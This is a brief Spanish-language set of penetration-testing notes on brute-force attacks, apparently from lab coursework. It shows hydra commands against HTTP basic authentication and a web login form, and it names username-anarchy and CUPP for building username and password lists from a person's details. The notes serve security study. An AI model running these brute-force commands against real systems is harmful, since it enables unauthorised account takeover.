14 - Fuerza Bruta

Autenticacion Básica HTTP

terminal
$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
-s : Para indicar puerto

Formularios Login

terminal
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt 94.237.59.180 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" -s 43071

Usuarios Customs

Podemos usar la herramienta username-anarchy
terminal
$ ./username-anarchy Jane Smith > jane_smith_usernames.txt
Podemos usar tambien CUPP, si conocemos datos personales como fecha y demas
terminal
cupp -i